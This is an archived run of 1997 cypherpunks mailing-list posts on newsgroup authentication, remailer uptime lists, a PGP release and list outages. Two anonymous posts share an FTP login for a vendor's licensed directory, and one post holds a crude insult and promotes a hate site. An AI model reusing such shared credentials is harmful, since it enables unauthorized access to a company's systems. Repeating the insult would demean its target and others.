Ryan Anderson -      "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
ryan at michonline.com                           Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------






From ichudov at algebra.com  Sun May 25 17:58:32 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Mon, 26 May 1997 08:58:32 +0800
Subject: CFV: moderate sci.cryonics
Message-ID: <199705260048.TAA06749@manifold.algebra.com>


Lewis McCarthy (lmccarth at cs.umass.edu) wrote 
* [various newsgroups removed from the distribution]
* Eli the Bearded writes:
* > help prevent the moderator or a third party from inventing
* > posts from people. (If someone always posts from the Lucifer remailer
* > how can you tell real posts from that person from fakes? They all
* > look a like.)
* 
* Three words: "public key cryptography"
* 
* Note that unsigned Usenet articles can be forged by anyone,
* regardless of whether or not they're sent through an anonymizer.
* Unsigned articles only give the illusion of authentication. At
* least with anonymized articles, most people realize more readily
* that there's no real proof of identity present (as you noted above).

That is correct. A moderated newsgroup can be set up such that messages
coming from certain addresses can be required to be digitally signed.
This requirement, of course, does not have to apply to all users and can
be done on a voluntary basis.

Anonymous users can also enjoy the benefits of authentication, if they
submit their public keys to the moderator (with the key address set
to something like space at alien.nowhere) and request that all messages
coming with the address "space at alien.nowhere" be authenticated.

This is a very positive aspect of moderated groups, since anonymous posters
can enjoy both anonymity and reputation.

The other concern here seems to be forgers who forge valid addresses of
existing users. Again, a moderated group has a great flexibility to 
introduce SOME authentication without even the need for using public
key cryptography.

The moderator can set up a password-based system. Anyone can request a 
password sent to them by sending an email to password at moderation.site.com.
A unique password will be generated, stored and sent back to the
requestor. The address that had been assigned the password gets on the
"watch list" and all article submissions from that address would be
checked for presence of the password. Of course, a password needs to be
wiped out from the message priot to teh approval.

As long as email remains private (ie, there is no man in the middle or any
sniffers acting), this scheme is secure. Again, it may be either purely 
voluntary or mandatory.

Of course, anonymous users need special treatment since they are unable to
receive email. Such users may continue to use PGP.

igor






From nobody at huge.cajones.com  Sun May 25 19:25:52 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 26 May 1997 10:25:52 +0800
Subject: Message
Message-ID: <199705260216.TAA13774@fat.doobie.com>



At 10:17 PM 5/25/97 -0000, Secret Squirrel doth wrote:
>
>ftp://licenced:321 at ftp.mcafee.com/licenced/

Anyone try this site?  I couldn't connect.


The Pie Guy
        






From nobody at REPLAY.COM  Sun May 25 21:14:05 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Mon, 26 May 1997 12:14:05 +0800
Subject: No Subject
Message-ID: <199705260352.FAA05338@basement.replay.com>


 >ftp://licenced:321 at ftp.mcafee.com/licenced/

 >> Anyone try this site?  I couldn't connect.

 >> The Pie Guy


The correct adress is:

ftp://licensed:321 at ftp.mcafee.com/licensed/

The /security dir is quite interesting...

(This message was encrypted with an unregistered copy of AutoPGP 2.2�3.)







From whgiii at amaranth.com  Sun May 25 22:06:17 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Mon, 26 May 1997 13:06:17 +0800
Subject: 
In-Reply-To: <199705260352.FAA05338@basement.replay.com>
Message-ID: <199705260452.XAA10160@mailhub.amaranth.com>

In <199705260352.FAA05338 at basement.replay.com>, on 05/25/97 
   at 09:52 PM, nobody at REPLAY.COM (Anonymous) said:

> >ftp://licenced:321 at ftp.mcafee.com/licenced/

> >> Anyone try this site?  I couldn't connect.

> >> The Pie Guy


>The correct adress is:

>ftp://licensed:321 at ftp.mcafee.com/licensed/

>The /security dir is quite interesting...

>(This message was encrypted with an unregistered copy of AutoPGP 2.2 3.)
                   ^^^^^^^^^

nice encryption job. :)))

-- 
-----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.                        
-----------------------------------------------------------
 
Tag-O-Matic: Windows NT: From the makers of Windows 3.1!

-------------- next part --------------
A non-text attachment was scrubbed...
Name: pgp00001.pgp
Type: application/octet-stream
Size: 333 bytes
Desc: "PGP signature"
URL: 

From attila at primenet.com  Sun May 25 23:56:47 1997
From: attila at primenet.com (Attila T. Hun)
Date: Mon, 26 May 1997 14:56:47 +0800
Subject: NYC Crypto & MB [was Re: Jim Bell Complaint]
In-Reply-To: <1.5.4.32.19970524011320.0094f5f4@pop.pipeline.com>
Message-ID: <199705260646.AAA20735@infowest.com>


-----BEGIN PGP SIGNED MESSAGE-----

on or about 970523:2113 John Young  expostulated:

+Time to study and ponder the 1st Amend -- which, by the way, Matt Blaze
+did at the NYC crypto forum last night to challenge Charney and
+Denning. Matt pulled out a copy and cited it, which may be a good
+indication of what he knows that we don't about what's coming.

    not only the gawd-awful truth, but the gawd-awful _fear_.

    Bubba's hypocrasy at U. Conn will shortly be proved in spades
    as the first amendment falls "...in the interest of national 
    security...."

    or the evidence of NWMBs (New World Mega Business) with the 
    impending transfer of the US Patent office into a private 
    enterprise for the more expedient rape, pillage, and burn of 
    development by NWMBs.

    Government in the sunshine is a hoax --our so called government, a 
    government of greed and power, can not afford our sunshine.

 ______________________________________________________________________
  Surveillance is ultimately just another form of entertainment.
 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

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GWrkZUeRK726lXq1RlxPSMF7zJOTjJsrISxpG1oWRONhwW1qOospYTdWyI3U8q6w
ZJCeGCelckHcqCOSirieolMxZv2K3dWv3ZZTv3CJ718Yv9XYVPo3oCBrayV7t+Pf
5Tt2//o8ffM=
=lvqZ
-----END PGP SIGNATURE-----








From cpunks at algebra.com  Mon May 26 00:35:10 1997
From: cpunks at algebra.com (cpunks at algebra.com)
Date: Mon, 26 May 1997 15:35:10 +0800
Subject: BOUNCE cypherpunks@Algebra.COM:     Admin request of type /\bsub-scri-be
Message-ID: <199705260726.CAA09125@manifold.algebra.com>


----- Forwarded message from owner-cypherpunks at algebra.com -----

>From owner-cypherpunks at Algebra.COM  Sun May 25 13:49:13 1997
Date: Sun, 25 May 1997 13:49:12 -0500
From: owner-cypherpunks at algebra.com
Message-Id: <199705251849.NAA31543 at manifold.algebra.com>
To: owner-cypherpunks at Algebra.COM
Subject: BOUNCE cypherpunks at Algebra.COM:     Admin request of type /\bsub-s-c-ribe\b/i at line 6  

>From cpunks at manifold.algebra.com  Sun May 25 13:48:58 1997
Return-Path: 
Received: (from root at localhost) by manifold.algebra.com (8.8.5/8.8.2) with UUCP id NAA31470 for cypherpunks+incoming-toad at algebra.com; Sun, 25 May 1997 13:48:57 -0500
Received: from toad.com (toad.com [140.174.2.1])
	by www.video-collage.com (8.8.5/8.8.5) with ESMTP id OAA29060
	for ; Sun, 25 May 1997 14:44:48 -0400 (EDT)
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From: harka at nycmetro.com
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	for ; Sun, 25 May 1997 14:46:18 -0400
Date: Sun, 25 May 1997 14:46:18 -0400
Message-Id: <199705251846.OAA18559 at linux.nycmetro.com>
To: cypherpunks at toad.com
Subject: Re: Too few Cypherpunks nodes
X-Sender: Private Idaho 2.8b3
Sender: owner-cypherpunks at toad.com
Precedence: bulk


-----BEGIN PGP SIGNED MESSAGE-----

> (ichudov at algebra.com) wrote:

>> To sub-scr-ibe to one of the Cypherpunks mailing list distribution points
>> send email to (one of) majordomo at algebra.com, 
>>majordomo at sirius.infonex.com, or majordomo at cyberpass.net with the 
>>following text in the body of your email message:

> Actually, infonex and cyberpass are the same place. Instead, you
> can list majordomo at ssz.com, majordomo at cyberpass.net, and
> majordomo at algebra.com.


I've also put the same info into "PGPSteps" 
(http://bureau42.base.org/public/pgpsteps.txt)

Ciao

Harka


-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBM4iHVDltEBIEF0MBAQFeuQf+NrK46h+hfep/FXS4UoiGvw4Od9p6txRI
NY+2TUlzGbpY7/okLHhNACLx2g4TKmcNFMUYYPDn3cfcTbVjRGYAwAxhDViY43DC
7dD5XzBx/dAREHWd7pqK7JPJLSYgd8MqKMbiZy2PDWLcbUyS0gk9YPLStRhjSrKl
WGtQtXYYJxlOD27RQnWHMoPkt76PuXsts0/qv7tt3fuuakW6mZx/ebZ/3vquR5sC
YbxHVul2PcKHLixOPo/uduOCntz58LXe4k9cZFNs1/YbxcsNWQVPL4rx9jY7F8BE
4/DFZtvplY8XqVLc3EvMd2KQRyefXGxF+owEAjKjO8HlZUAVO54k3w==
=XDyj
-----END PGP SIGNATURE-----

----- End of forwarded message from owner-cypherpunks at algebra.com -----






From cpunks at algebra.com  Mon May 26 00:42:46 1997
From: cpunks at algebra.com (cpunks at algebra.com)
Date: Mon, 26 May 1997 15:42:46 +0800
Subject: BOUNCE cypherpunks@Algebra.COM:     Admin request of type /\bsub-scri-be
Message-ID: <199705260727.CAA09157@manifold.algebra.com>


----- Forwarded message from owner-cypherpunks at algebra.com -----

>From owner-cypherpunks at Algebra.COM  Sun May 25 12:13:02 1997
Date: Sun, 25 May 1997 12:13:00 -0500
From: owner-cypherpunks at algebra.com
Message-Id: <199705251713.MAA30334 at manifold.algebra.com>
To: owner-cypherpunks at Algebra.COM
Subject: BOUNCE cypherpunks at Algebra.COM:     Admin request of type /\bsub-s-cr-ibe\b/i at line 6  

>From cpunks at manifold.algebra.com  Sun May 25 12:12:46 1997
Return-Path: 
Received: (from root at localhost) by manifold.algebra.com (8.8.5/8.8.2) with UUCP id MAA30320 for cypherpunks at algebra.com; Sun, 25 May 1997 12:12:42 -0500
Received: from einstein.ssz.com (root at einstein.ssz.com [204.96.2.99])
	by www.video-collage.com (8.8.5/8.8.5) with SMTP id NAA22220
	for ; Sun, 25 May 1997 13:11:02 -0400 (EDT)
Received: (from cpunks at localhost) by einstein.ssz.com (8.6.12/8.6.9) id LAA24674 for cypherpunks at algebra.com; Sun, 25 May 1997 11:37:20 -0500
Received: (from bin at localhost) by einstein.ssz.com (8.6.12/8.6.9) id LAA24669 for cypherpunks-outgoing; Sun, 25 May 1997 11:37:17 -0500
Received: (from ravage at localhost) by einstein.ssz.com (8.6.12/8.6.9) id LAA24662 for cypherpunks; Sun, 25 May 1997 11:37:14 -0500
From: Jim Choate 
Message-Id: <199705251637.LAA24662 at einstein.ssz.com>
Subject: Re: Too few cypherpunks nodes. (fwd)
To: cypherpunks at einstein.ssz.com (Cypherpunks Distributed Remailer)
Date: Sun, 25 May 1997 11:37:13 -0500 (CDT)
X-Mailer: ELM [version 2.4 PL23]
Content-Type: text
Sender: owner-cypherpunks at einstein.ssz.com
Precedence: bulk
X-Mailing-List: cypherpunks at ssz.com
X-List-Admin: list at ssz.com
X-Loop: ssz.com

Forwarded message:

> Date: Sun, 25 May 1997 11:54:37 -0500 (CDT)
> From: ichudov at algebra.com (Igor Chudov @ home)

> Page> To sub-scr-ibe to one of the Cypherpunks mailing list distribution points
> Page> send email to (one of) majordomo at algebra.com,
> Page> majordomo at sirius.infonex.com, or majordomo at cyberpass.net with the
> Page> following text in the body of your email message:
> 
> Actually, infonex and cyberpass are the same place. Instead, you
> can list majordomo at ssz.com, majordomo at cyberpass.net, and
> majordomo at algebra.com.

How about:

To sub-s-c-r-ibe to the Cypherpunks Distributed Remailer is a little different
than most mailing lists you may have experienced. The reason is that the
list consists of several indipendent systems passing traffic from each
system to the others. They use a mutualy agreed upon method for deleting
multiple copies. Since all the remailers share a commen remailer package,
namely Majordomo, they have a commen interface. The actual mechanism of
sub-scr-ip-tion is to send 'majordomo@' an email with 'sub-scr-ibe
cypherpunks' in the body.

As of  the available  are:

 albegra.com
 ssz.com (human mailing list help is available at list at ssz.com)
 cyberpass.net

[To avoid bias I suggest sorting alphabeticaly by domain and then system
 name]


                                               Jim Choate
                                               CyberTects
                                               ravage at ssz.com

----- End of forwarded message from owner-cypherpunks at algebra.com -----






From alan at ctrl-alt-del.com  Mon May 26 01:08:06 1997
From: alan at ctrl-alt-del.com (Alan Olsen)
Date: Mon, 26 May 1997 16:08:06 +0800
Subject: Nym Servers
Message-ID: <3.0.2.32.19970526005335.03d3ec60@mail.teleport.com>


As well as active Cypherpunks mirrors, have there been many new nym servers
coming into existance?  Most of them seem to have been dying on the vine.

Info on new or existing nym servers appreciated.  (I am not certain in Raph
has been covering them on the remailer list.)


---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano at teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan at ctrl-alt-del.com|






From raph at CS.Berkeley.EDU  Mon May 26 07:16:20 1997
From: raph at CS.Berkeley.EDU (Raph Levien)
Date: Mon, 26 May 1997 22:16:20 +0800
Subject: List of reliable remailers
Message-ID: <199705261350.GAA21499@kiwi.cs.berkeley.edu>


   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list at kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys at kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list at kiwi.cs.berkeley.edu.

$remailer{"extropia"} = " cpunk pgp special";
$remailer{"mix"} = " cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = " cpunk mix pgp hash latent cut post ek";
$remailer{"exon"} = " cpunk pgp hash latent cut ek";
$remailer{"haystack"} = " cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = " cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = " cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = " cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = ' newnym pgp';
$remailer{"balls"} = " cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = " cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = " cpunk mix pgp hash latent cut ek reord";
$remailer{'cyber'} = ' alpha pgp';
$remailer{"dustbin"} = " cpunk pgp hash latent cut ek mix reord middle";
$remailer{'weasel'} = ' newnym pgp';
$remailer{"reno"} = " cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"wazoo"} = " cpunk mix pgp hash latent cut ek";
$remailer{"shaman"} = " cpunk pgp hash latent cut ek";
$remailer{"hidden"} = " cpunk pgp hash latent cut";
catalyst at netcom.com is _not_ a remailer.
lmccarth at ducie.cs.umass.edu is _not_ a remailer.
usura at replay.com is _not_ a remailer.
remailer at crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 26 May 97 6:48:22 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
winsock  winsock at rigel.cyberpass.net      ----++--+---  4:13:55  99.99%
hidden   remailer at hidden.net              ##*..+######  1:13:37  99.97%
weasel   config at weasel.owl.de             +---+-+++-++  1:53:36  99.96%
squirrel mix at squirrel.owl.de              +---+++++-++  1:53:32  99.96%
jam      remailer at cypherpunks.ca          * *+********    10:17  99.90%
nym      config at nym.alias.net             *++#+** *#**     1:59  99.80%
balls    remailer at huge.cajones.com        # #++###*###     2:04  99.78%
replay   remailer at replay.com              **.-+*-*****    39:24  99.61%
cyber    alias at alias.cyberpass.net        +****+ +* *+    15:08  99.41%
mix      mixmaster at remail.obscura.com     --*-*---.--  18:29:05  98.56%
lucifer  lucifer at dhp.com                  +*++   ++-++  1:15:02  97.14%
reno     middleman at cyberpass.net          + -+++ ++-    1:41:56  79.63%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien






From whgiii at amaranth.com  Mon May 26 08:11:18 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Mon, 26 May 1997 23:11:18 +0800
Subject: PGP 2.6.3 Now Available for USA OS/2 users
Message-ID: <199705261459.JAA15150@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----

Hi,

This is just a quick not to let everyone know that PGP 2.6.3 is now
available for USA OS/2 users from my web site:

http://www.amaranth.com/~whgiii/pgpmr2.html

Just follow the links until you get to the download page.

This is the PGP 2.6.3i source code compiled with the RSAREF 1.0 lib to
make it's use "legal" in the USA.

I have various language files ,the PGP 2.6.3 source code, and the RSAREF
source code available for download from the same page.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.                        
- -----------------------------------------------------------
 
Tag-O-Matic: The best way to accelerate Windows is at escape velocity.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM4mkwY9Co1n+aLhhAQGVaQQAizq9XJnfXJ1aDmOTUSGSZaMrvunDW7pE
YLQ3BYoBoyeHqlDkINN149wqzBA22b//g2cySF0VFx3v3E2FHjyQZf+TnXTTJ4uq
VFLpBWL3qemjS18rYAYKghUObiJEKMiuG4ljuJkf76qmejweVRByu0KgSlcVirCN
9oTjMDdiQK4=
=PyaM
-----END PGP SIGNATURE-----
 
Tag-O-Matic: Get OS/2 - the best Windows tip around!






From eb at comsec.com  Mon May 26 13:41:58 1997
From: eb at comsec.com (Eric Blossom)
Date: Tue, 27 May 1997 04:41:58 +0800
Subject: V-Chips for the Internet / Crypto Keyboards
In-Reply-To: 
Message-ID: <199705262003.NAA09654@comsec.com>


Tim May writes:
> Could hardware-based chips be coming? At a recent meeting, John Markoff
> asked me if I'd heard anything about Intel's rumored contract to buy 20
> million (yes, 20 _million_) keyboards with crypto features built in. I had
> not heard this rumor.
> 
> (Since then, though, there have been rumblings that Intel is preparing to
> offer such keyboards, possibly with "user authentication" features (don't
> know what kind). This might, speculating here, be linked with  the Intel-HP
> (and maybe Verifone, which HP is buying?) key recovery work. Conceivably, a
> plan to sell a large user base (20 million?) on a hardware/keyboard-based
> "secure commerce" solution.)

I haven't heard anything about this rumor.  However, if you look at
the new USB chips being built by Cypress et al, it's not hard to
imagine keyboards with ISO smart card readers built in.  The USB chips
contain a simple RISC core, lots of I/O pins and something like 4-8KB
of FLASH or OTP memory.  The incremental cost is a slot with 6
contacts for the smart card.  Unlike PCMCIA, the ISO smart cards are
cheap to build and easy to interface to.  Schmlumberger is currently
promoting it's "CryptoFlex" card which can do 1024-bit RSA sigs as
well as triple-DES.  I believe that it can do a 1024-bit sig in
something like 20 ms.

Eric






From ravage at EINSTEIN.ssz.com  Mon May 26 14:22:56 1997
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Tue, 27 May 1997 05:22:56 +0800
Subject: Mail problems (fwd)
Message-ID: <199705262040.PAA26906@einstein.ssz.com>


Hi,

Forwarded message:

> Date: Mon, 26 May 1997 16:59:07 +0000 (   )
> From: Paul Bradley 
> Subject: Mail problems

> I have seen only 3 or 4 posts from the cypherpunks list in the last 24 
> hours now, I have unsubscribed from algebra.com (which did not repond to 
> a ping at around 11am GMT today) and re-subscribed to cyberpass.net, but 
> have still only seen another one post (raphs remailer ping post). 
> Has anyone else experienced problems, inside the UK or outside? 
> 
> All of the post that have come through have been sent initially to 
> toad.com, my guess would be that nearly everyone, regardless of where 
> they are subscribed, is sending posts to algebra.com, which appears to be 
> down, therefore cyberpass and ssz, even though they are up, have not got 
> many messages to send on, does anyone know where toad.com is forwarding 
> posts to?
> 
> I wonder if this outage might have anything to do with Igor moving the 
> list to another machine, as I seem to remember he said he was, although 
> if I recall correctly he did not think this would cause a problem. As I 
> said, cyberpass is definitely up and has responded to my majordomo request. 

Guitly as charged. I was only forwarding to cypherpunks at algebra.com, I have
corrected my short-sightedness and am now forwarding to
cypherpunks at cyberpass.net as well.


                                                      Jim Choate
                                                      CyberTects
                                                      ravage at ssz.com






From investigations25.com at lsbsdi1.lightspeed.net  Tue May 27 05:25:32 1997
From: investigations25.com at lsbsdi1.lightspeed.net (investigations25.com at lsbsdi1.lightspeed.net)
Date: Tue, 27 May 1997 05:25:32 -0700 (PDT)
Subject: WARNING  -- ARE YOU BEING INVESTIGATED ???
Message-ID: <777gy7qweyt223m76.23444665@free.speach.com>



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From ichudov at algebra.com  Mon May 26 14:27:44 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Tue, 27 May 1997 05:27:44 +0800
Subject: Nym Servers
In-Reply-To: <3.0.2.32.19970526005335.03d3ec60@mail.teleport.com>
Message-ID: <199705262119.QAA13412@manifold.algebra.com>


Alan Olsen wrote:
> 
> As well as active Cypherpunks mirrors, have there been many new nym servers
> coming into existance?  Most of them seem to have been dying on the vine.
> 
> Info on new or existing nym servers appreciated.  (I am not certain in Raph
> has been covering them on the remailer list.)
> 

As far as I understand, nym servers die because their maintainers get
tired of the huge amount of mass mailings, mailbombings and complaints
that these servers generate. Often enough they simply do not have the
bandwidth or CPU resources to maintain them.

	- Igor.






From ichudov at algebra.com  Mon May 26 14:29:54 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Tue, 27 May 1997 05:29:54 +0800
Subject: Mail problems (fwd)
In-Reply-To: <199705262040.PAA26906@einstein.ssz.com>
Message-ID: <199705262116.QAA13392@manifold.algebra.com>


Jim Choate wrote:
> 
> Hi,
> 
> Forwarded message:
> 
> > Date: Mon, 26 May 1997 16:59:07 +0000 (   )
> > From: Paul Bradley 
> > Subject: Mail problems
> 
> > I have seen only 3 or 4 posts from the cypherpunks list in the last 24 
> > hours now, I have unsubscribed from algebra.com (which did not repond to 
> > a ping at around 11am GMT today) and re-subscribed to cyberpass.net, but 
> > have still only seen another one post (raphs remailer ping post). 
> > Has anyone else experienced problems, inside the UK or outside? 

algebra.com will NEVER respond to pings.

This is because of the way algebra.com is set up.

It is up and running though.

> > I wonder if this outage might have anything to do with Igor moving the 
> > list to another machine, as I seem to remember he said he was, although 
> > if I recall correctly he did not think this would cause a problem. As I 

It will not cause any problems, but I have not even started it.


	- Igor.






From shamrock at netcom.com  Mon May 26 16:21:20 1997
From: shamrock at netcom.com (Lucky Green)
Date: Tue, 27 May 1997 07:21:20 +0800
Subject: Tim has his own Geek Code!
Message-ID: <3.0.2.32.19970526160914.0075b1f8@netcom13.netcom.com>


I just noticed that Tim has his own Geek Code category:

"y+++ I am T.C. May"

http://krypton.mankato.msus.edu/~hayden/.codes/geek3.1.html

Congratulations!


--Lucky Green  PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
http://www.frii.com/~rcv/deschall.htm






From cpunks at algebra.com  Mon May 26 16:22:07 1997
From: cpunks at algebra.com (cpunks at algebra.com)
Date: Tue, 27 May 1997 07:22:07 +0800
Subject: BOUNCE cypherpunks@Algebra.COM:     Admin request of type
Message-ID: <199705262319.SAA14235@manifold.algebra.com>



----- Forwarded message from owner-cypherpunks at algebra.com -----

>From owner-cypherpunks at Algebra.COM  Mon May 26 15:57:06 1997
Date: Mon, 26 May 1997 15:57:06 -0500
From: owner-cypherpunks at algebra.com
Message-Id: <199705262057.PAA13157 at manifold.algebra.com>
To: owner-cypherpunks at Algebra.COM
Subject: BOUNCE cypherpunks at Algebra.COM:     Admin request of type /\buns\w*b/i at line 3  

>From cpunks at manifold.algebra.com  Mon May 26 15:56:57 1997
Return-Path: 
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	for ; Mon, 26 May 1997 16:56:19 -0400 (EDT)
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Date: Mon, 26 May 1997 16:59:07 +0000 (   )
From: Paul Bradley 
To: cypherpunks at cyberpass.net
Subject: Mail problems
Message-ID: 
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

	
I have seen only 3 or 4 posts from the cypherpunks list in the last 24 
hours now, I have unsub-scr-ibed from algebra.com (which did not repond to 
a ping at around 11am GMT today) and re-sub-scr-ibed to cyberpass.net, but 
have still only seen another one post (raphs remailer ping post). 
Has anyone else experienced problems, inside the UK or outside? 

All of the post that have come through have been sent initially to 
toad.com, my guess would be that nearly everyone, regardless of where 
they are sub-scr-ibed, is sending posts to algebra.com, which appears to be 
down, therefore cyberpass and ssz, even though they are up, have not got 
many messages to send on, does anyone know where toad.com is forwarding 
posts to?

I wonder if this outage might have anything to do with Igor moving the 
list to another machine, as I seem to remember he said he was, although 
if I recall correctly he did not think this would cause a problem. As I 
said, cyberpass is definitely up and has responded to my majordomo request. 


        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"


----- End of forwarded message from owner-cypherpunks at algebra.com -----






From dlv at bwalk.dm.com  Mon May 26 16:27:26 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 27 May 1997 07:27:26 +0800
Subject: Nym Servers
In-Reply-To: <199705262119.QAA13412@manifold.algebra.com>
Message-ID: 


ichudov at algebra.com (Igor Chudov @ home) writes:

> Alan Olsen wrote:
> >
> > As well as active Cypherpunks mirrors, have there been many new nym servers
> > coming into existance?  Most of them seem to have been dying on the vine.
> >
> > Info on new or existing nym servers appreciated.  (I am not certain in Raph
> > has been covering them on the remailer list.)
> >
>
> As far as I understand, nym servers die because their maintainers get
> tired of the huge amount of mass mailings, mailbombings and complaints
> that these servers generate. Often enough they simply do not have the
> bandwidth or CPU resources to maintain them.

Stanford Wallace is doing an excellent job hosting "unpopular"
Internet features which the politically correct scum (like the
cocksucker John Gilmore) sought to censor - like www.Godhatesfags.com.

It's pricey, but it sounds like a nearly ideal site for remailers,
nym sevrers, and the like.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From ichudov at algebra.com  Mon May 26 16:29:51 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Tue, 27 May 1997 07:29:51 +0800
Subject: BOUNCE cypherpunks@Algebra.COM:     Admin request of type
In-Reply-To: <199705262319.SAA14235@manifold.algebra.com>
Message-ID: <199705262323.SAA14319@manifold.algebra.com>


cpunks at algebra.com wrote:
> ----- Forwarded message from owner-cypherpunks at algebra.com -----
> 
> >From owner-cypherpunks at Algebra.COM  Mon May 26 15:57:06 1997
> Date: Mon, 26 May 1997 15:57:06 -0500
> From: owner-cypherpunks at algebra.com
> Message-Id: <199705262057.PAA13157 at manifold.algebra.com>
> To: owner-cypherpunks at Algebra.COM
> Subject: BOUNCE cypherpunks at Algebra.COM:     Admin request of type /\buns\w*b/i at line 3  
> 
> >From cpunks at manifold.algebra.com  Mon May 26 15:56:57 1997
> Return-Path: 
> Received: (from root at localhost) by manifold.algebra.com (8.8.5/8.8.2) with UUCP id PAA13138 for cypherpunks+incoming-cyberpass at algebra.com; Mon, 26 May 1997 15:56:51 -0500
> Received: from sirius.infonex.com (cpunks at sirius.infonex.com [206.170.114.2])
> 	by www.video-collage.com (8.8.5/8.8.5) with ESMTP id QAA01122
> 	for ; Mon, 26 May 1997 16:56:19 -0400 (EDT)
> Received: (from cpunks at localhost) by sirius.infonex.com (8.8.5/8.7.3) id NAA20075; Mon, 26 May 1997 13:56:02 -0700 (PDT)
> Received: from rigel.cyberpass.net (root at rigel.infonex.com [206.170.114.3]) by sirius.infonex.com (8.8.5/8.7.3) with ESMTP id NAA20063 for ; Mon, 26 May 1997 13:55:30 -0700 (PDT)
> Received: from punt-2.mail.demon.net (relay-11.mail.demon.net [194.217.242.137]) by rigel.cyberpass.net (8.8.5/8.7.3) with SMTP id NAA15274 for ; Mon, 26 May 1997 13:53:49 -0700 (PDT)
